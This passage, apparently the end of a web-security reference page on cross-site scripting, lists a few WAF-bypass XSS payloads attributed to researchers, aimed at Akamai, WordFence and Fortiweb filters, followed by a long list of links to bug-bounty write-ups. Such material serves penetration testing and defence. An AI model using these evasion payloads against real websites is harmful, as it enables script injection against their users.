<div class="highlight"><pre><span></span><code><a id="__codelineno-100-1" name="__codelineno-100-1" href="#__codelineno-100-1"></a><span class="o">?</span><span class="err">"</span><span class="o">><</span><span class="err">/script><base%20c%3D=href%3Dhttps:\mysite></span>
|
||
</code></pre></div>
|
||
<h3 id="akamai-waf-bypass-by-s0md3v-28th-october-2018">Akamai WAF Bypass by <a href="https://twitter.com/s0md3v/status/1056447131362324480">@s0md3v</a> - 28th October 2018</h3>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-101-1" name="__codelineno-101-1" href="#__codelineno-101-1"></a><span class="p"><</span><span class="nt">dETAILS</span><span class="err">%</span><span class="na">0aopen</span><span class="err">%</span><span class="na">0aonToGgle</span><span class="err">%</span><span class="na">0a</span><span class="o">=</span><span class="s">%0aa=prompt,a()</span> <span class="na">x</span><span class="p">></span>
|
||
</code></pre></div>
|
||
<h3 id="wordfence-waf-bypass-by-brutelogic-12th-september-2018">WordFence WAF Bypass by <a href="https://twitter.com/brutelogic">@brutelogic</a> - 12th September 2018</h3>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-102-1" name="__codelineno-102-1" href="#__codelineno-102-1"></a><span class="o"><</span><span class="nx">a</span><span class="w"> </span><span class="nx">href</span><span class="o">=</span><span class="nx">javas</span><span class="o">&</span><span class="err">#</span><span class="mf">99</span><span class="p">;</span><span class="nx">ript</span><span class="o">:</span><span class="nx">alert</span><span class="p">(</span><span class="mf">1</span><span class="p">)</span><span class="o">></span>
|
||
</code></pre></div>
|
||
<h3 id="fortiweb-waf-bypass-by-rezaduty-9th-july-2019">Fortiweb WAF Bypass by <a href="https://twitter.com/rezaduty">@rezaduty</a> - 9th July 2019</h3>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-103-1" name="__codelineno-103-1" href="#__codelineno-103-1"></a><span class="nx">\u003e\u003c\u0068\u0031</span><span class="w"> </span><span class="nx">onclick</span><span class="o">=</span><span class="nx">alert</span><span class="p">(</span><span class="s1">'1'</span><span class="p">)</span><span class="nx">\u003e</span>
|
||
</code></pre></div>
|
||
<h2 id="labs">Labs</h2>
|
||
<ul>
|
||
<li><a href="https://portswigger.net/web-security/all-labs#cross-site-scripting">PortSwigger Labs for XSS</a></li>
|
||
</ul>
|
||
<h2 id="references">References</h2>
|
||
<ul>
|
||
<li><a href="https://github.com/0xsobky/HackVault/wiki/Unleashing-an-Ultimate-XSS-Polyglot">Unleashing-an-Ultimate-XSS-Polyglot</a></li>
|
||
<li>tbm</li>
|
||
<li><a href="http://infinite8security.blogspot.com/2016/02/welcome-readers-as-i-promised-this-post.html">(Relative Path Overwrite) RPO XSS - Infinite Security</a></li>
|
||
<li><a href="http://www.thespanner.co.uk/2014/03/21/rpo/">RPO TheSpanner</a></li>
|
||
<li><a href="https://web.archive.org/web/20220521125028/https://blog.innerht.ml/rpo-gadgets/">RPO Gadget - innerthmtl</a></li>
|
||
<li><a href="https://support.detectify.com/support/solutions/articles/48001048955-relative-path-overwrite">Relative Path Overwrite - Detectify</a></li>
|
||
<li><a href="http://d3adend.org/xss/ghettoBypass">XSS ghettoBypass - d3adend</a></li>
|
||
<li><a href="http://blog.portswigger.net/2016/01/xss-without-html-client-side-template.html">XSS without HTML: Client-Side Template Injection with AngularJS</a></li>
|
||
<li><a href="http://blog.rakeshmane.com/2017/08/xssing-web-part-2.html">XSSING WEB PART - 2 - Rakesh Mane</a></li>
|
||
<li><a href="https://www.buaq.net/go-25883.html">Making an XSS triggered by CSP bypass on Twitter. @tbmnull</a></li>
|
||
<li><a href="https://gist.github.com/tomnomnom/14a918f707ef0685fdebd90545580309">Ways to alert(document.domain) - @tomnomnom</a></li>
|
||
<li><a href="https://conference.hitb.org/hitbsecconf2017ams/materials/D1T1%20-%20Michele%20Spagnuolo%20and%20Lukas%20Wilschelbaum%20-%20So%20We%20Broke%20All%20CSPS.pdf">D1T1 - Michele Spagnuolo and Lukas Wilschelbaum - So We Broke All CSPs</a></li>
|
||
<li><a href="https://blog.it-securityguard.com/bugbounty-sleeping-stored-google-xss-awakens-a-5000-bounty/">Sleeping stored Google XSS Awakens a $5000 Bounty</a> by Patrik Fehrenbach</li>
|
||
<li><a href="https://web.archive.org/web/20220521125028/https://blog.innerht.ml/rpo-gadgets/">RPO that lead to information leakage in Google</a> by filedescriptor</li>
|
||
<li><a href="https://whitton.io/articles/uber-turning-self-xss-into-good-xss/">God-like XSS, Log-in, Log-out, Log-in</a> in Uber by Jack Whitton</li>
|
||
<li><a href="http://www.breaksec.com/?p=6129">Three Stored XSS in Facebook</a> by Nirgoldshlager</li>
|
||
<li><a href="https://blog.bugcrowd.com/guest-blog-using-a-braun-shaver-to-bypass-xss-audit-and-waf-by-frans-rosen-detectify">Using a Braun Shaver to Bypass XSS Audit and WAF</a> by Frans Rosen</li>
|
||
<li><a href="https://whitton.io/articles/xss-on-facebook-via-png-content-types/">An XSS on Facebook via PNGs & Wonky Content Types</a> by Jack Whitton</li>
|
||
<li><a href="https://whitton.io/archive/persistent-xss-on-myworld-ebay-com/">Stored XSS in *.ebay.com</a> by Jack Whitton</li>
|
||
<li><a href="https://sites.google.com/site/bughunteruniversity/best-reports/account-recovery-xss">Complicated, Best Report of Google XSS</a> by Ramzes</li>
|
||
<li><a href="https://hackerone.com/reports/150179">Tricky Html Injection and Possible XSS in sms-be-vip.twitter.com</a> by secgeek</li>
|
||
<li><a href="http://www.pranav-venkat.com/2016/03/command-injection-which-got-me-6000.html">Command Injection in Google Console</a> by Venkat S</li>
|
||
<li><a href="http://www.paulosyibelo.com/2015/12/facebooks-moves-oauth-xss.html">Facebook's Moves - OAuth XSS</a> by PAULOS YIBELO</li>
|
||
<li><a href="https://hackerone.com/reports/152067">Stored XSS on developer.uber.com via admin account compromise in Uber</a> by James Kettle (albinowax)</li>
|
||
<li><a href="https://klikki.fi/adv/yahoo.html">Yahoo Mail stored XSS</a> by Klikki Oy</li>
|
||
<li><a href="http://mksben.l0.cm/2016/07/xxn-caret.html">Abusing XSS Filter: One ^ leads to XSS(CVE-2016-3212)</a> by Masato Kinugawa</li>
|
||
<li><a href="https://labs.detectify.com/2015/06/06/google-xss-turkey/">Youtube XSS</a> by fransrosen</li>
|
||
<li><a href="https://sites.google.com/site/bughunteruniversity/best-reports/openredirectsthatmatter">Best Google XSS again</a> - by Krzysztof Kotowicz</li>
|
||
<li><a href="https://labs.detectify.com/2016/10/24/combining-host-header-injection-and-lax-host-parsing-serving-malicious-data/">IE & Edge URL parsing Problem</a> - by detectify</li>
|
||
<li><a href="http://sasi2103.blogspot.sg/2016/09/combination-of-techniques-lead-to-dom.html">Google XSS subdomain Clickjacking</a></li>
|
||
<li><a href="https://wesecureapp.com/blog/xss-by-tossing-cookies/">Microsoft XSS and Twitter XSS</a></li>
|
||
<li><a href="https://labs.detectify.com/2013/02/14/how-i-got-the-bug-bounty-for-mega-co-nz-xss/">Flash XSS mega nz</a> - by frans</li>
|
||
<li><a href="http://blog.bentkowski.info/2015/04/xss-via-host-header-cse.html">xss in google IE, Host Header Reflection</a></li>
|
||
<li><a href="http://conference.hitb.org/hitbsecconf2012ams/materials/D1T2%20-%20Itzhak%20Zuk%20Avraham%20and%20Nir%20Goldshlager%20-%20Killing%20a%20Bug%20Bounty%20Program%20-%20Twice.pdf">Years ago Google xss</a></li>
|
||
<li><a href="http://blog.bentkowski.info/2015/04/xss-via-host-header-cse.html">xss in google by IE weird behavior</a></li>
|
||
<li><a href="https://web.archive.org/web/20161228182923/http://dawgyg.com/2016/12/07/stored-xss-affecting-all-fantasy-sports-fantasysports-yahoo-com-2/">xss in Yahoo Fantasy Sport</a></li>
|
||
<li><a href="https://klikki.fi/adv/yahoo2.html">xss in Yahoo Mail Again, worth $10000</a> by Klikki Oy</li>
|
||
<li><a href="https://blog.it-securityguard.com/bugbounty-sleeping-stored-google-xss-awakens-a-5000-bounty/">Sleeping XSS in Google</a> by securityguard</li>
|
||
<li><a href="https://blog.it-securityguard.com/bugbounty-decoding-a-%F0%9F%98%B1-00000-htpasswd-bounty/">Decoding a .htpasswd to earn a payload of money</a> by securityguard</li>
|
||
<li><a href="http://www.orenh.com/2013/11/google-account-recovery-vulnerability.html#comment-form">Google Account Takeover</a></li>
|
||
<li><a href="http://www.geekboy.ninja/blog/airbnb-bug-bounty-turning-self-xss-into-good-xss-2/">AirBnb Bug Bounty: Turning Self-XSS into Good-XSS #2</a> by geekboy</li>
|
||
<li><a href="https://httpsonly.blogspot.hk/2016/08/turning-self-xss-into-good-xss-v2.html">Uber Self XSS to Global XSS</a></li>
|
||
<li><a href="https://medium.com/@marin_m/how-i-found-a-5-000-google-maps-xss-by-fiddling-with-protobuf-963ee0d9caff#.cktt61q9g">How I found a $5,000 Google Maps XSS (by fiddling with Protobuf)</a> by Marin MoulinierFollow</li>
|
||
<li><a href="https://buer.haus/2017/03/08/airbnb-when-bypassing-json-encoding-xss-filter-waf-csp-and-auditor-turns-into-eight-vulnerabilities/">Airbnb – When Bypassing JSON Encoding, XSS Filter, WAF, CSP, and Auditor turns into Eight Vulnerabilities</a> by Brett</li>
|
||
<li><a href="http://blog.intothesymmetry.com/2017/05/cross-origin-brute-forcing-of-saml-and.html">XSSI, Client Side Brute Force</a></li>
|
||
<li><a href="https://labs.detectify.com/2016/12/15/postmessage-xss-on-a-million-sites/">postMessage XSS on a million sites - December 15, 2016 - Mathias Karlsson</a></li>
|
||
<li><a href="https://hackerone.com/reports/231053">postMessage XSS Bypass</a></li>
|
||
<li><a href="http://zhchbin.github.io/2017/08/30/Uber-XSS-via-Cookie/">XSS in Uber via Cookie</a> by zhchbin</li>
|
||
<li><a href="https://hackerone.com/reports/207042">Stealing contact form data on www.hackerone.com using Marketo Forms XSS with postMessage frame-jumping and jQuery-JSONP</a> by frans</li>
|
||
<li><a href="http://zhchbin.github.io/2016/09/10/A-Valuable-XSS/">XSS due to improper regex in third party js Uber 7k XSS</a></li>
|
||
<li><a href="https://hackerone.com/reports/262230">XSS in TinyMCE 2.4.0</a> by Jelmer de Hen</li>
|
||
<li><a href="https://hackerone.com/reports/150179">Pass uncoded URL in IE11 to cause XSS</a></li>
|
||
<li><a href="http://blog.blackfan.ru/2017/09/devtwittercom-xss.html">Twitter XSS by stopping redirection and javascript scheme</a> by Sergey Bobrov</li>
|
||
<li><a href="http://stamone-bug-bounty.blogspot.hk/2017/10/dom-xss-auth_14.html">Auth DOM Uber XSS</a></li>
|
||
<li><a href="https://www.youtube.com/watch?v=d9UEVv3cJ0Q&feature=youtu.be">XSS in www.yahoo.com</a></li>
|
||
<li><a href="https://s1gnalcha0s.github.io/dspl/2018/03/07/Stored-XSS-and-SSRF-Google.html">Stored XSS, and SSRF in Google using the Dataset Publishing Language</a></li>
|
||
<li><a href="https://medium.com/@mrityunjoy/stored-xss-on-snapchat-5d704131d8fd">Stored XSS on Snapchat</a></li>
|
||
<li><a href="https://portswigger.net/web-security/cross-site-scripting/cheat-sheet">XSS cheat sheet - PortSwigger</a></li>
|
||
<li><a href="https://cure53.de/fp170.pdf">mXSS Attacks: Attacking well-secured Web-Applications by using innerHTML Mutations - Mario Heiderich, Jörg Schwenk, Tilman Frosch, Jonas Magazinius, Edward Z. Yang</a></li>
|
||
<li><a href="https://twitter.com/PortSwiggerRes/status/1257962800418349056">Self Closing Script</a></li>
|
||
<li><a href="https://hackerone.com/reports/639684">Bypass < with <</a></li>
|
||
<li><a href="https://portswigger.net/support/bypassing-signature-based-xss-filters-modifying-script-code">Bypassing Signature-Based XSS Filters: Modifying Script Code</a></li>
|
||
</ul>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<aside class="md-source-file">
|
||
|
||
|
||
<span class="md-source-file__fact">
|
||
<span class="md-icon" title="Last update">
|
||
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M21 13.1c-.1 0-.3.1-.4.2l-1 1 2.1 2.1 1-1c.2-.2.2-.6 0-.8l-1.3-1.3c-.1-.1-.2-.2-.4-.2m-1.9 1.8-6.1 6V23h2.1l6.1-6.1-2.1-2M12.5 7v5.2l4 2.4-1 1L11 13V7h1.5M11 21.9c-5.1-.5-9-4.8-9-9.9C2 6.5 6.5 2 12 2c5.3 0 9.6 4.1 10 9.3-.3-.1-.6-.2-1-.2s-.7.1-1 .2C19.6 7.2 16.2 4 12 4c-4.4 0-8 3.6-8 8 0 4.1 3.1 7.5 7.1 7.9l-.1.2v1.8Z"/></svg>
|
||
</span>
|
||
<span class="git-revision-date-localized-plugin git-revision-date-localized-plugin-date">November 1, 2023</span>
|
||
</span>
|
||
|
||
|
||
|
||
|
||
|
||
</aside>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
</article>
|
||
</div>
|
||
|
||
|
||
<script>var target=document.getElementById(location.hash.slice(1));target&&target.name&&(target.checked=target.name.startsWith("__tabbed_"))</script>
|
||
</div>
|
||
|
||
<button type="button" class="md-top md-icon" data-md-component="top" hidden>
|
||
|
||
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M13 20h-2V8l-5.5 5.5-1.42-1.42L12 4.16l7.92 7.92-1.42 1.42L13 8v12Z"/></svg>
|
||
Back to top
|
||
</button>
|
||
|
||
</main>
|
||
|
||
<footer class="md-footer">
|
||
|
||
<div class="md-footer-meta md-typeset">
|
||
<div class="md-footer-meta__inner md-grid">
|
||
<div class="md-copyright">
|
||
|
||
|
||
Made with
|
||
<a href="https://squidfunk.github.io/mkdocs-material/" target="_blank" rel="noopener">
|
||
Material for MkDocs
|
||
</a>
|
||
|
||
</div>
|
||
|
||
</div>
|
||
</div>
|
||
</footer>
|
||
|
||
</div>
|
||
<div class="md-dialog" data-md-component="dialog">
|
||
<div class="md-dialog__inner md-typeset"></div>
|
||
</div>
|
||
|
||
|
||
<script id="__config" type="application/json">{"base": "..", "features": ["content.code.copy", "navigation.tracking", "navigation.top"], "search": "../assets/javascripts/workers/search.b8dbb3d2.min.js", "translations": {"clipboard.copied": "Copied to clipboard", "clipboard.copy": "Copy to clipboard", "search.result.more.one": "1 more on this page", "search.result.more.other": "# more on this page", "search.result.none": "No matching documents", "search.result.one": "1 matching document", "search.result.other": "# matching documents", "search.result.placeholder": "Type to start searching", "search.result.term.missing": "Missing", "select.version": "Select version"}}</script>
|
||
|
||
|
||
<script src="../assets/javascripts/bundle.bd41221c.min.js"></script>
|
||
|
||
|
||
</body>
|
||
</html> |